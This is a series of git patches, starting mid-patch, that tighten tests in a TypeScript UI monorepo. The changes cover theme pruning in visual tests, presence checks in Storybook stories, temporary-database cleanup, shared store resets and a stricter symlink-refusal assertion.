overlap, the disc stays clear: ${theme}, ${width}${keyboardOpen ? ", keyboard up" : ""}`, async () => { pointerScene(); diff --git a/packages/ui-kit/tests/visual/session-strip.visual.tsx b/packages/ui-kit/tests/visual/session-strip.visual.tsx index a1d12a8de5..c515dabd4b 100644 --- a/packages/ui-kit/tests/visual/session-strip.visual.tsx +++ b/packages/ui-kit/tests/visual/session-strip.visual.tsx @@ -176,11 +176,19 @@ function geometry(m: Mounted, n: number, keyboardOpen: boolean, pending: number) } } expect(m.row.getAnimations({ subtree: true }), "nothing in the row animates").toEqual([]); - expect(m.row.querySelectorAll('[tabindex="0"], button:not([tabindex="-1"])').length >= 1).toBe(true); + expect(m.row.querySelectorAll('[tabindex="0"], button:not([tabindex="-1"])').length, "the row is reachable by Tab").toBeGreaterThanOrEqual(1); expect(m.left.querySelectorAll('[tabindex="0"]'), "the strip is one tab stop").toHaveLength(1); expect(document.documentElement.scrollWidth, "no horizontal overflow").toBeLessThanOrEqual(innerWidth); } +/** + * Storybook owns light and dark parity (docs/process/theme-parity.md), and + * these cases never read a colour, so a theme-blind case runs each width in one + * theme, alternating. Pixel baselines, sheet attachments and the subtree-theme + * case keep both themes. + */ +const oneTheme = (width: number) => ([320, 480, 1280].includes(width) ? "dark" : "light"); + function unmount() { if (root) flushSync(() => root!.unmount()); host?.remove(); @@ -190,6 +198,7 @@ function unmount() { for (const theme of ["dark", "light"]) { for (const width of [320, 390, 480, 900, 1280, 1440]) { + if (oneTheme(width) !== theme) continue; test(`row geometry, 0–5 sessions, keyboard down and up: ${theme}, ${width}`, async () => { pointerScene(); for (const keyboardOpen of [false, true]) { @@ -203,7 +212,7 @@ for (const theme of ["dark", "light"]) { }); } - test(`short viewport, keyboard up: ${theme}, 320 × 308`, async () => { + if (theme === oneTheme(320)) test(`short viewport, keyboard up: ${theme}, 320 × 308`, async () => { pointerScene(); const m = await mount({ width: 320, height: 308, theme, sessions: five, pending: 2, keyboardOpen: true }); geometry(m, 5, true, 2); @@ -212,6 +221,7 @@ for (const theme of ["dark", "light"]) { }); for (const width of [320, 900]) { + // Both themes: the overflow sheet's first touch after a width change fails without this case before it (#3880). test(`roving group, one tab stop: ${theme}, ${width}`, async () => { pointerScene(); const m = await mount({ width, theme, sessions: five.slice(0, 2) }); @@ -305,7 +315,7 @@ for (const theme of ["dark", "light"]) { expect(document.activeElement, "focus is the caller's after opening").not.toBe(items()[1]); }); - test(`keyboard-open summary blurs the composer and restores its caret: ${theme}, ${width}`, async () => { + if (oneTheme(width) === theme) test(`keyboard-open summary blurs the composer and restores its caret: ${theme}, ${width}`, async () => { const mode = pointerScene(); const m = await mount({ width, theme, sessions: five, keyboardOpen: true }); const summary = items()[0]!; @@ -327,7 +337,7 @@ for (const theme of ["dark", "light"]) { expect([m.composer.selectionStart, m.composer.selectionEnd], "with the caret restored").toEqual([8, 8]); }); - test(`touch and pointer open a pill once, at its corners: ${theme}, ${width}`, async () => { + if (oneTheme(width) === theme) test(`touch and pointer open a pill once, at its corners: ${theme}, ${width}`, async () => { const mode = pointerScene(); const m = await mount({ width, theme, sessions: five.slice(0, 2) }); const pill = items()[1]!; @@ -389,6 +399,7 @@ async function mountDriven(sessions: WorkingFixture[], theme: string, subtree?: for (const theme of ["dark", "light"]) { for (const n of [2, 5]) { + if ((n === 2) !== (theme === "dark")) continue; test(`keyboardOpen driven by composer focus: the press opens the sheet and the caret returns: ${theme}, ${n} sessions`, async () => { const mode = pointerScene(); const { composer } = await mountDriven(five.slice(0, n), theme); @@ -412,7 +423,7 @@ for (const theme of ["dark", "light"]) { }); } - test(`a session leaving under the sheet's caret keeps focus in the sheet: ${theme}`, async () => { + if (theme === "dark") test(`a session leaving under the sheet's caret keeps focus in the sheet: ${theme}`, async () => { pointerScene(); const { live, draw } = await mountDriven(five, theme); items()[1]!.focus(); @@ -448,7 +459,7 @@ for (const theme of ["dark", "light"]) { } for (const theme of ["dark", "light"]) { - test(`Shift+Tab from the composer lands on a pill when the summary gives way: ${theme}`, async () => { + if (theme === "light") test(`Shift+Tab from the composer lands on a pill when the summary gives way: ${theme}`, async () => { pointerScene(); const { live, composer } = await mountDriven(five.slice(0, 2), theme); composer.focus(); @@ -460,7 +471,7 @@ for (const theme of ["dark", "light"]) { expect(live.filter((s) => s.onOpen.mock.calls.length === 1), "Enter opens the focused pill").toHaveLength(1); }); - test(`the last session leaving closes the sheet and returns to the composer: ${theme}`, async () => { + if (theme === "dark") test(`the last session leaving closes the sheet and returns to the composer: ${theme}`, async () => { const mode = pointerScene(); const { draw, composer } = await mountDriven(five, theme); composer.focus(); @@ -481,7 +492,7 @@ for (const theme of ["dark", "light"]) { }); } -for (const theme of ["dark", "light"]) { +for (const theme of ["dark"]) { test(`live updates that replace the focused item keep focus in the strip: ${theme}`, async () => { pointerScene(); const m = await mount({ width: 390, theme, sessions: five }); @@ -506,7 +517,7 @@ for (const theme of ["dark", "light"]) { }); } -for (const theme of ["dark", "light"]) { +for (const theme of ["light"]) { test(`a live reorder keeps the roving stop on the focused session: ${theme}`, async () => { pointerScene(); const done = workingSessions[7]!; From e81998b3ae934f1c2c9a9bbe0f3b0641d08324a8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:43:47 +0100 Subject: [PATCH 024/252] test(ui-react): registration count test asserts repeats reach the registry Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#6 --- packages/ui-react/tests/registration-on-mount.test.tsx | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/registration-on-mount.test.tsx b/packages/ui-react/tests/registration-on-mount.test.tsx index 3b8ef69da0..8c9ba1f2a2 100644 --- a/packages/ui-react/tests/registration-on-mount.test.tsx +++ b/packages/ui-react/tests/registration-on-mount.test.tsx @@ -208,9 +208,10 @@ if (!childMode) { expect(distinct[1]).toBe(harness.apifyToolPack); expect(distinct[2]).toBe(harness.claudeToolPack); expect(distinct[3]).toBe(harness.piToolPack); - // Every repeat passed one of those same three objects; a pack rebuilt per - // call would show up as a fourth distinct object above. - expect(packs.every((pack) => distinct.includes(pack))).toBe(true); + // A pack rebuilt per call would show up as a sixth distinct object above. + // The repeats must still reach the registry (no module latch), so every + // pack was handed over more than once. + expect(packs.length).toBeGreaterThan(distinct.length); const providers = registerAsrClient.mock.calls.map( ([providerId]: [string, AsrClientFactory]) => providerId From ae710b04698d052fff23b49a4b89956fefc9a1f4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:44:09 +0100 Subject: [PATCH 025/252] test(ui-server): activity sweep restart test cleans up its database Test-Health: th-20261110163814-571eb3#33 --- .../ui-server/tests/activity-sweep.test.ts | 73 +++++++++++-------- 1 file changed, 41 insertions(+), 32 deletions(-) diff --git a/packages/ui-server/tests/activity-sweep.test.ts b/packages/ui-server/tests/activity-sweep.test.ts index 8d15034f81..25060c988a 100644 --- a/packages/ui-server/tests/activity-sweep.test.ts +++ b/packages/ui-server/tests/activity-sweep.test.ts @@ -1,43 +1,52 @@ import { describe, expect, test } from "bun:test"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { createUiDb } from "../src/db/client.js"; import { createActivityStore } from "../src/activity/store.js"; describe("activity store: sweepers", () => { test("boot sweep closes session-origin orphans as interrupted, children included", () => { - const path = `/tmp/activity-sweep-${process.pid}-${Date.now()}.db`; - const dbBefore = createUiDb(path); - const before = createActivityStore(dbBefore, { writer: "server-old" }); - before.startSpan({ - spanId: "root", - runId: "run-1", - name: "invoke_agent", - kind: "turn", - origin: "session", - sessionId: "s1", - }); - before.startSpan({ - spanId: "tool", - runId: "run-1", - parentSpanId: "root", - name: "execute_tool Bash", - kind: "tool", - origin: "session", - }); - dbBefore.close(); // process died mid-turn + const dir = mkdtempSync(join(tmpdir(), "activity-sweep-")); + const path = join(dir, "ui.db"); + let dbAfter: ReturnType | undefined; + try { + const dbBefore = createUiDb(path); + const before = createActivityStore(dbBefore, { writer: "server-old" }); + before.startSpan({ + spanId: "root", + runId: "run-1", + name: "invoke_agent", + kind: "turn", + origin: "session", + sessionId: "s1", + }); + before.startSpan({ + spanId: "tool", + runId: "run-1", + parentSpanId: "root", + name: "execute_tool Bash", + kind: "tool", + origin: "session", + }); + dbBefore.close(); // process died mid-turn - const dbAfter = createUiDb(path); - const after = createActivityStore(dbAfter, { writer: "server-new" }); - const closed = after.sweepOwnOrphans(); - expect(closed).toBe(2); - expect(after.getSpan("root")!.outcome).toBe("interrupted"); - expect(after.getSpan("tool")!.outcome).toBe("interrupted"); - // Rollup exists so the run stays resolvable. - const rollup = dbAfter - .query("SELECT outcome FROM activity_run_rollups WHERE run_id = 'run-1'") - .get() as any; - expect(rollup.outcome).toBe("interrupted"); - dbAfter.close(); + dbAfter = createUiDb(path); + const after = createActivityStore(dbAfter, { writer: "server-new" }); + const closed = after.sweepOwnOrphans(); + expect(closed).toBe(2); + expect(after.getSpan("root")!.outcome).toBe("interrupted"); + expect(after.getSpan("tool")!.outcome).toBe("interrupted"); + // Rollup exists so the run stays resolvable. + const rollup = dbAfter + .query("SELECT outcome FROM activity_run_rollups WHERE run_id = 'run-1'") + .get() as any; + expect(rollup.outcome).toBe("interrupted"); + } finally { + dbAfter?.close(); + rmSync(dir, { recursive: true, force: true }); + } }); test("boot sweep leaves cron-origin spans alone", () => { From 87fb3649ae0e5327cbae6ddfa573282129e4bad6 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:45:30 +0100 Subject: [PATCH 026/252] test(ui-kit): the morning digest checks its one card is the FYI kind The nested-button check this replaces was already owned by the axe gate's nested-interactive rule, so its mutation was killed by axe rather than by the assertion. Test-Health: th-20261110163718-a0e3cd#0 --- packages/ui-kit/stories/screens/MorningDigest.stories.tsx | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-kit/stories/screens/MorningDigest.stories.tsx b/packages/ui-kit/stories/screens/MorningDigest.stories.tsx index ed98af141a..902258c04c 100644 --- a/packages/ui-kit/stories/screens/MorningDigest.stories.tsx +++ b/packages/ui-kit/stories/screens/MorningDigest.stories.tsx @@ -118,10 +118,14 @@ export const FactsBeforeAnythingAsks = MorningDigest.extend({ // The only card on the screen is the kind that asks for nothing: no button, // no approve/deny pair, one chevron to somewhere else. - // The card is itself the one control, and nothing inside it is another. + // The card is the FYI kind, and no card on the screen is a kind that asks. + // (A control nested inside the card is refused by the axe gate already.) const card = (await canvas.findByText(fyi.title)).closest('[role="button"]'); await expect(card).not.toBeNull(); - await expect(within(card!).queryAllByRole("button")).toEqual([]); + await expect(within(card!).getByText("FYI")).toBeVisible(); + for (const kind of ["Approval", "Choose", "Dead letter", "Quarantined", "Premise unverified", "Suggestion"]) { + await expect(canvas.queryByText(kind)).toBeNull(); + } await expect(await canvas.findByText(fyi.rightMeta!)).toBeTruthy(); }, }); From 9ff79511fba9fd26dbb80b2093053050e180c001 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:45:53 +0100 Subject: [PATCH 027/252] test(ui-kit): Surface's static gate and the colour-alone rule assert something present Test-Health: th-20261110163718-a0e3cd#4 --- docs/process/test-authoring.md | 7 ++++++- packages/ui-kit/stories/primitives/Surface.stories.tsx | 3 +++ packages/ui-kit/stories/rules/NonNegotiables.stories.tsx | 7 ++++++- 3 files changed, 15 insertions(+), 2 deletions(-) diff --git a/docs/process/test-authoring.md b/docs/process/test-authoring.md index deebe267ee..d34288a190 100644 --- a/docs/process/test-authoring.md +++ b/docs/process/test-authoring.md @@ -105,7 +105,12 @@ test("the date field shows the parsed date and refuses an unparseable one", asyn the product path actually builds, with a harness that wires the thing the assertion observes, and build inputs whose covered part is non-empty. Prevents `wrong-object`, `earlier-layer-answers`, `nothing-to-observe` and - `empty-by-construction`. + `empty-by-construction`. An absence needs a presence beside it: a test made + only of `toBeNull()`, `toHaveLength(0)` or `not.toHaveBeenCalled()` also + passes when nothing rendered or nothing ran, so first assert what must still + be there (`expect(await canvas.findByText("omens")).toBeVisible()`), then + what must not be. The same goes for a selector nothing emits: asserting + `.bk-colour-only` absent holds whatever the components drew. - **S7. Double the lowest shared request path, and assert the outcome.** A double replaces the one method every request goes through; the assertions are about what the code did with the answer, not about the double being diff --git a/packages/ui-kit/stories/primitives/Surface.stories.tsx b/packages/ui-kit/stories/primitives/Surface.stories.tsx index e51052aeb6..dec3fd928e 100644 --- a/packages/ui-kit/stories/primitives/Surface.stories.tsx +++ b/packages/ui-kit/stories/primitives/Surface.stories.tsx @@ -176,6 +176,9 @@ export const OperableToned = Operable.extend({ export const StrongButStatic = Default.extend({ args: { emphasis: "strong", label: "Route home" }, play: async ({ canvas, canvasElement }) => { + // The surface is there, label and body painted; only the role is withheld. + await expect(await canvas.findByText("Route home")).toBeVisible(); + await expect(await canvas.findByText("9 days / 20")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); await expect(canvasElement.querySelector(".bk-row, .bk-control")).toBeNull(); diff --git a/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx b/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx index e1217c6bdd..b383114479 100644 --- a/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx +++ b/packages/ui-kit/stories/rules/NonNegotiables.stories.tsx @@ -104,7 +104,12 @@ export const NeverColourAlone = meta.story({ // mark with no text anywhere near it. A StatusDot is the one component that // IS pure colour, which is why it never appears alone in this kit — it is a // mark beside a word, and the rows above are where that is proven. - await expect(canvasElement.querySelector(".bk-colour-only")).toBeNull(); + // Measured on the dots themselves: every round mark in the render shares + // its container with words. (No class marks a colour-only element, so + // asserting one absent would hold whatever the components drew.) + const dots = [...canvasElement.querySelectorAll('span[style*="border-radius: 50%"]')]; + await expect(dots.length).toBeGreaterThanOrEqual(QUEUE_STATES.length); + for (const dot of dots) await expect(dot.parentElement!.textContent!.trim()).not.toBe(""); }, }); From 4c602c81814a0e9eb7e18346e5f62ae6fcd77b78 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:45:59 +0100 Subject: [PATCH 028/252] test(ui-kit): the static FileRow contract first proves the row renders Test-Health: th-20261110163718-a0e3cd#5 --- packages/ui-kit/stories/rows/FileRow.stories.tsx | 3 +++ 1 file changed, 3 insertions(+) diff --git a/packages/ui-kit/stories/rows/FileRow.stories.tsx b/packages/ui-kit/stories/rows/FileRow.stories.tsx index fe27c0e523..3db242d933 100644 --- a/packages/ui-kit/stories/rows/FileRow.stories.tsx +++ b/packages/ui-kit/stories/rows/FileRow.stories.tsx @@ -162,6 +162,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined, active: true }, play: async ({ canvas, canvasElement }) => { + // The row is there, naming its folder and count; only the tree role is gone. + await expect(await canvas.findByText("omens")).toBeVisible(); + await expect(await canvas.findByText("86")).toBeVisible(); await expect(canvas.queryByRole("treeitem")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); From c640caf900546ff61cf73b43e2bd2e9ced57ba71 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:46:11 +0100 Subject: [PATCH 029/252] test(ui-kit): the static FilterRow contract first proves every pill renders Test-Health: th-20261110163718-a0e3cd#8 --- packages/ui-kit/stories/rows/FilterRow.stories.tsx | 2 ++ 1 file changed, 2 insertions(+) diff --git a/packages/ui-kit/stories/rows/FilterRow.stories.tsx b/packages/ui-kit/stories/rows/FilterRow.stories.tsx index 4e8f83e0fd..b3a870d0cf 100644 --- a/packages/ui-kit/stories/rows/FilterRow.stories.tsx +++ b/packages/ui-kit/stories/rows/FilterRow.stories.tsx @@ -97,6 +97,8 @@ export const Tablist = meta.story({ export const Static = meta.story({ args: { items: queueFilters.map((label) => ({ label })) }, play: async ({ canvas, canvasElement }) => { + // Every pill is there as a label; only the tab semantics are gone. + for (const label of queueFilters) await expect(await canvas.findByText(label)).toBeVisible(); await expect(canvas.queryByRole("tablist")).toBeNull(); await expect(canvas.queryByRole("tab")).toBeNull(); await expect(canvasElement.querySelector(".bk-control")).toBeNull(); From 283015b1adf277b17a4745ea3d4504c1b20a74b1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:46:16 +0100 Subject: [PATCH 030/252] test(ui-kit): both static ChoiceOption contracts first prove the option renders Test-Health: th-20261110163718-a0e3cd#10 --- packages/ui-kit/stories/rows/ChoiceOption.stories.tsx | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx b/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx index 550a934cfa..5156a0553e 100644 --- a/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx +++ b/packages/ui-kit/stories/rows/ChoiceOption.stories.tsx @@ -69,6 +69,8 @@ export const Multiple = Default.extend({ export const MultipleStatic = Multiple.extend({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The option is there, as a record of the choice; only the control is gone. + await expect(await canvas.findByText("Keep following the eagle omen")).toBeVisible(); await expect(canvas.queryByRole("checkbox")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); await expect(canvasElement.querySelector("[aria-checked]")).toBeNull(); @@ -180,6 +182,8 @@ export const ArrowKeys = Group.extend({ export const Static = meta.story({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The option is there, as a record of the choice; only the control is gone. + await expect(await canvas.findByText("omens/day-3651-eagle.md")).toBeVisible(); await expect(canvas.queryByRole("radio")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); From 1eef71403c2115a91e5a498d60d2b63e2b383307 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:46:21 +0100 Subject: [PATCH 031/252] test(ui-kit): the static SearchResultCard contract first proves the hit renders Test-Health: th-20261110163718-a0e3cd#12 --- packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx | 3 +++ 1 file changed, 3 insertions(+) diff --git a/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx b/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx index d0cbe8f713..23fc8038e1 100644 --- a/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx +++ b/packages/ui-kit/stories/evidence/SearchResultCard.stories.tsx @@ -92,6 +92,9 @@ export const Tapped = meta.story({ export const Static = meta.story({ args: { onClick: undefined }, play: async ({ canvas, canvasElement }) => { + // The result is there, path and highlight; only the pressable part is gone. + await expect(await canvas.findByText("knowledge/scylla.md")).toBeVisible(); + await expect(await canvas.findByText("six heads, six men, one pass")).toBeVisible(); await expect(canvas.queryByRole("button")).toBeNull(); await expect(canvasElement.querySelector(".bk-row")).toBeNull(); await expect(canvasElement.querySelector("[tabindex]")).toBeNull(); From fa399c7ec5cb48d2b78866bdb689392e84b300ed Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:46:25 +0100 Subject: [PATCH 032/252] test(ui-react): working sessions pointer cells run each width in one theme Test-Health: th-20261110182050-6072af#1 --- .../browser/working-sessions.pointer.tsx | 35 ++++++++++--------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/packages/ui-react/tests/browser/working-sessions.pointer.tsx b/packages/ui-react/tests/browser/working-sessions.pointer.tsx index dc4a500db4..bd0531b9f5 100644 --- a/packages/ui-react/tests/browser/working-sessions.pointer.tsx +++ b/packages/ui-react/tests/browser/working-sessions.pointer.tsx @@ -248,12 +248,13 @@ function rowGeometry(s: Scene, keyboard = false) { const NARROW = [320, 390, 480, 900, 1279] as const; const WIDE = [1280, 1440] as const; -const THEMES = ["dark", "light"] as const; +// One theme per scenario: nothing measured or pressed here takes a +// theme-specific class, and Storybook owns light/dark parity. -for (const theme of THEMES) for (const width of NARROW) { - test(`${width} (${theme}): three trackers beside two follow-ups, in the left half, apart from the scroll disc`, async (ctx) => { +for (const width of NARROW) { + test(`${width}: three trackers beside two follow-ups, in the left half, apart from the scroll disc`, async (ctx) => { const mode = pointer(); - const s = await mount(ctx, width, 640, theme); + const s = await mount(ctx, width, 640, "dark"); work.raft(s); work.timber(s); work.penelope(s); pending(s, 2); await expect.poll(() => stripItems(s).length, { message: "the strip is drawn" }).toBe(2); @@ -293,9 +294,9 @@ for (const theme of THEMES) for (const width of NARROW) { await expect.poll(() => document.activeElement, { message: "focus returns to the summary" }).toBe(stripItems(s)[1]); }); - test(`${width} (${theme}): one long-titled tracker in an empty chat keeps its column`, async (ctx) => { + test(`${width}: one long-titled tracker in an empty chat keeps its column`, async (ctx) => { pointer(); - const s = await mount(ctx, width, 640, theme, { empty: true }); + const s = await mount(ctx, width, 640, "dark", { empty: true }); work.circe(s); await expect.poll(() => named(stripItems(s))[0] ?? "", { message: "the session list names it" }).toMatch(/^Compare Circe/); expect(stripItems(s)).toHaveLength(1); @@ -310,10 +311,10 @@ for (const theme of THEMES) for (const width of NARROW) { }); } -for (const theme of THEMES) for (const width of WIDE) { - test(`${width} (${theme}): the Sessions pane carries Working, the row carries follow-ups only`, async (ctx) => { +for (const width of WIDE) { + test(`${width}: the Sessions pane carries Working, the row carries follow-ups only`, async (ctx) => { pointer(); - const s = await mount(ctx, width, 720, theme); + const s = await mount(ctx, width, 720, "dark"); work.raft(s); work.timber(s); work.penelope(s); pending(s, 2); const p = await expect.poll(() => pane(s), { message: "the pane is drawn" }).not.toBeNull(); @@ -352,9 +353,9 @@ for (const theme of THEMES) for (const width of WIDE) { expect(items.filter((el) => el.tabIndex === 0), "one tab stop").toHaveLength(1); }); - test(`${width} (${theme}): in an empty chat New conversation is aria-disabled with its reason`, async (ctx) => { + test(`${width}: in an empty chat New conversation is aria-disabled with its reason`, async (ctx) => { pointer(); - const s = await mount(ctx, width, 720, theme, { empty: true }); + const s = await mount(ctx, width, 720, "dark", { empty: true }); await expect.poll(() => pane(s), { message: "the pane is drawn" }).not.toBeNull(); const start = pane(s)!.querySelector("[data-new-conversation] [data-bk-button]")!; expect(start.getAttribute("aria-disabled")).toBe("true"); @@ -366,8 +367,8 @@ for (const theme of THEMES) for (const width of WIDE) { // side; past three composer lines the row hides (R4). No platform reports a // soft keyboard to a test, so its evidence is supplied: a visual viewport // 260px shorter than the layout one, which is what `useSoftKeyboard` reads. -for (const theme of THEMES) for (const width of [320, 390, 900] as const) { - test(`${width} (${theme}): keyboard up, the halves are one summary each, and R4 hides the row`, async (ctx) => { +for (const width of [320, 390, 900] as const) { + test(`${width}: keyboard up, the halves are one summary each, and R4 hides the row`, async (ctx) => { const mode = pointer(); if (mode === "fine") ctx.skip(); const original = Object.getOwnPropertyDescriptor(window, "visualViewport"); @@ -377,7 +378,7 @@ for (const theme of THEMES) for (const width of [320, 390, 900] as const) { if (original) Object.defineProperty(window, "visualViewport", original); else delete (window as { visualViewport?: unknown }).visualViewport; }); - const s = await mount(ctx, width, 568, theme); + const s = await mount(ctx, width, 568, "dark"); work.raft(s); work.timber(s); work.penelope(s); pending(s, 2); await expect.poll(() => stripItems(s).length, { message: "the strip is drawn" }).toBe(2); @@ -754,9 +755,9 @@ for (const width of [390, 1440] as const) { // #1697: safe incomplete-save disclosure and the existing retained-request Retry. -for (const width of [320, 1440] as const) for (const theme of ["dark", "light"] as const) { - test(`${width} ${theme}: refused worker-state save discloses partial persistence and retries the retained turn`, async (ctx) => { - const s = await mount(ctx, width, 640, theme, { empty: true }); +for (const width of [320, 1440] as const) { + test(`${width}: refused worker-state save discloses partial persistence and retries the retained turn`, async (ctx) => { + const s = await mount(ctx, width, 640, "light", { empty: true }); flushSync(() => s.ui.stores.chat.getState().setActiveSession(ITHACA.id)); s.socket.deliver({ type: "session_info", sessionId: ITHACA.id, isNew: false, backendId: "claude" }); s.socket.deliver({ type: "session_history", sessionId: ITHACA.id, messages: [ From 63153f042cc3681f5a2afa54b0cd7460fadc0535 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:46:56 +0100 Subject: [PATCH 033/252] test(ui-backend-claude): require the alias refusal when worker transcript export meets a symlink Test-Health: th-20261110180830-ff27e0#2 --- packages/ui-backend-claude/tests/worker.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-claude/tests/worker.test.ts b/packages/ui-backend-claude/tests/worker.test.ts index 362134e6cd..097af029ef 100644 --- a/packages/ui-backend-claude/tests/worker.test.ts +++ b/packages/ui-backend-claude/tests/worker.test.ts @@ -66,7 +66,7 @@ test("worker transcript export refuses symlinks and concurrent saved-state overw mkdirSync(join(tmpfs, project), { recursive: true }); writeFileSync(join(brain, "policy.md"), "Athena policy"); symlinkSync(join(brain, "policy.md"), join(tmpfs, project, "alias.jsonl")); - expect(() => state.persist(tmpfs)).toThrow(); expect(readFileSync(join(brain, "policy.md"), "utf8")).toBe("Athena policy"); + expect(() => state.persist(tmpfs)).toThrow("runtime state contains an alias or special file"); expect(readFileSync(join(brain, "policy.md"), "utf8")).toBe("Athena policy"); rmSync(join(tmpfs, project, "alias.jsonl")); mkdirSync(join(saved, project), { recursive: true }); writeFileSync(join(saved, project, "11111111-1111-4111-8111-111111111111.jsonl"), "Concurrent transcript"); writeFileSync(join(tmpfs, project, "11111111-1111-4111-8111-111111111111.jsonl"), "Worker transcript"); From d7bd35431a1d8d605e3050bbd41805324f7fae62 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:48:17 +0100 Subject: [PATCH 034/252] test(ui-react): render tests reset the default chat store after their file (#3720) Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#2 --- packages/ui-react/tests/render/answer-delivery.test.tsx | 3 +++ packages/ui-react/tests/render/ask-user-list.test.tsx | 3 +++ packages/ui-react/tests/render/ask-user-rank.test.tsx | 3 +++ packages/ui-react/tests/render/message-source.test.tsx | 3 +++ packages/ui-react/tests/render/turn-failure.test.tsx | 3 +++ 5 files changed, 15 insertions(+) diff --git a/packages/ui-react/tests/render/answer-delivery.test.tsx b/packages/ui-react/tests/render/answer-delivery.test.tsx index 3d78e53b85..800f4105a2 100644 --- a/packages/ui-react/tests/render/answer-delivery.test.tsx +++ b/packages/ui-react/tests/render/answer-delivery.test.tsx @@ -16,6 +16,9 @@ import type { SessionHistoryMessage } from "@schlessera/brain-ui-sdk/protocol"; const { flushChatDeltas, handleServerMessage } = defaultRoot.connection; afterEach(cleanup); +// The default root's chat store outlives this file: hand the next file a fresh one +// (#3720: a leaked active session and backend scope changed another file's renderer). +afterAll(() => useChatStore.setState(useChatStore.getInitialState(), true)); afterAll(unregisterAnswerDeliveryDom); beforeEach(() => { flushChatDeltas(); diff --git a/packages/ui-react/tests/render/ask-user-list.test.tsx b/packages/ui-react/tests/render/ask-user-list.test.tsx index cc4ad9ded7..efd92d9d33 100644 --- a/packages/ui-react/tests/render/ask-user-list.test.tsx +++ b/packages/ui-react/tests/render/ask-user-list.test.tsx @@ -21,6 +21,9 @@ import { useChatStore } from "../../src/stores/chat-store.js"; const { flushChatDeltas, handleServerMessage } = defaultRoot.connection; afterEach(cleanup); +// The default root's chat store outlives this file: hand the next file a fresh one +// (#3720: a leaked active session and backend scope changed another file's renderer). +afterAll(() => useChatStore.setState(useChatStore.getInitialState(), true)); afterAll(unregisterAskUserListDom); beforeEach(() => { diff --git a/packages/ui-react/tests/render/ask-user-rank.test.tsx b/packages/ui-react/tests/render/ask-user-rank.test.tsx index d4d9523836..b54c867703 100644 --- a/packages/ui-react/tests/render/ask-user-rank.test.tsx +++ b/packages/ui-react/tests/render/ask-user-rank.test.tsx @@ -11,6 +11,9 @@ import type { AskUserRankSpec, SessionHistoryMessage } from "@schlessera/brain-u const { flushChatDeltas, handleServerMessage } = defaultRoot.connection; afterEach(cleanup); +// The default root's chat store outlives this file: hand the next file a fresh one +// (#3720: a leaked active session and backend scope changed another file's renderer). +afterAll(() => useChatStore.setState(useChatStore.getInitialState(), true)); afterAll(unregisterAskUserRankDom); beforeEach(() => { flushChatDeltas(); diff --git a/packages/ui-react/tests/render/message-source.test.tsx b/packages/ui-react/tests/render/message-source.test.tsx index 7b54024254..5d855c51dc 100644 --- a/packages/ui-react/tests/render/message-source.test.tsx +++ b/packages/ui-react/tests/render/message-source.test.tsx @@ -18,6 +18,9 @@ import { useChatStore } from "../../src/stores/chat-store.js"; const { flushChatDeltas, handleServerMessage } = defaultRoot.connection; afterEach(cleanup); +// The default root's chat store outlives this file: hand the next file a fresh one +// (#3720: a leaked active session and backend scope changed another file's renderer). +afterAll(() => useChatStore.setState(useChatStore.getInitialState(), true)); afterAll(unregisterMessageSourceDom); beforeEach(() => { diff --git a/packages/ui-react/tests/render/turn-failure.test.tsx b/packages/ui-react/tests/render/turn-failure.test.tsx index f7ed13828f..f07e20c995 100644 --- a/packages/ui-react/tests/render/turn-failure.test.tsx +++ b/packages/ui-react/tests/render/turn-failure.test.tsx @@ -23,6 +23,9 @@ import { failurePresentation } from "../../src/lib/turn-failure.js"; const { flushChatDeltas, handleServerMessage } = defaultRoot.connection; afterEach(cleanup); +// The default root's chat store outlives this file: hand the next file a fresh one +// (#3720: a leaked active session and backend scope changed another file's renderer). +afterAll(() => useChatStore.setState(useChatStore.getInitialState(), true)); afterAll(unregisterTurnFailureDom); beforeEach(() => { From 6702218507b83aee0ca5c939c3dc3e53ce888c5a Mon Sep 17 00:00:00 2001 